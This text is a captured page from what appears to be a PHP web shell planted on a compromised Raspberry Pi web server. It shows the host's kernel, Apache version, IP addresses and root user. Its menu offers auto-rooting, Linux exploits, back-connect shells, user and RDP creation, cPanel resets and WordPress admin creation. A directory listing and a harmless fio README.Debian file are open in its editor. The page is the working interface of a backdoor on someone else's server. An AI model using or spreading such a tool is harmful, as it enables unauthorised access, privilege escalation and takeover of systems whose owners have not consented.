Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.10
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
fio /
[ HOME SHELL ]
Name
Size
Permission
Action
examples
[ DIR ]
drwxr-xr-x
HOWTO.gz
50.93
KB
-rw-r--r--
MORAL-LICENSE
912
B
-rw-r--r--
README.Debian
1.71
KB
-rw-r--r--
README.gz
4.57
KB
-rw-r--r--
REPORTING-BUGS
794
B
-rw-r--r--
changelog.Debian.gz
5.89
KB
-rw-r--r--
copyright
8.18
KB
-rw-r--r--
fiologparser.py.gz
2.12
KB
-rw-r--r--
fiologparser_hist.py.1.gz
3.45
KB
-rw-r--r--
fiologparser_hist.py.gz
7.31
KB
-rw-r--r--
half-bins.py
1.3
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : README.Debian
How flexible I/O tester uses measurement units ---------------------------------------------- fio uses the opposite symbol for kibibytes/kilobytes (Kb/KiB) than ISO 80000-1 by default in *jobfiles*. The user readable output however adheres to the standard, while the parseable output for scripts also uses the opposite symbol. This leads to weird scenarios like: % fio --name=rand-read --bs=4k --size=1MiB --iodepth=64 --runtime=10 --rw=randread rand-read: (g=0): rw=randread, bs=(R) 4096B-4096B, (W) 4096B-4096B, (T) 4096B-4096B, ioengine=psync, iodepth=64 […] % ls -l rand-read.0.0 -rw-r--r-- 1 root root 1000000 Mär 26 13:10 rand-read.0.0 In case you decide to write fio jobs in a way that adheres to the ISO standard, you can use: % fio --name=rand-read --kb_base=1000 --bs=4KiB --size=1MiB --iodepth=64 --runtime=10 --rw=randread rand-read: (g=0): rw=randread, bs=(R) 4096B-4096B, (W) 4096B-4096B, (T) 4096B-4096B, ioengine=psync, iodepth=64 […] % ls -l rand-read.0.0 -rw-r--r-- 1 root root 1048576 Mär 26 13:19 rand-read.0.0 Note: In this case the block size needs to be in "KiB" as well, otherwise it would be just 4000 bytes in this example. I received no feedback from upstream developers regarding this issue. As I decided to keep upstream behavior rather than diverting from it, using '--kib_base=1000' is your option in case you decide to adhere to the standard. For further discussion see: fio: uses the opposite symbol for kibibytes/kilobytes (Kb/KiB) than ISO 80000-1 https://bugs.debian.org/872321 -- Martin Steigerwald <martin.steigerwald@proact.de>, Mon, Mar 26 13:29:45 +0200
Close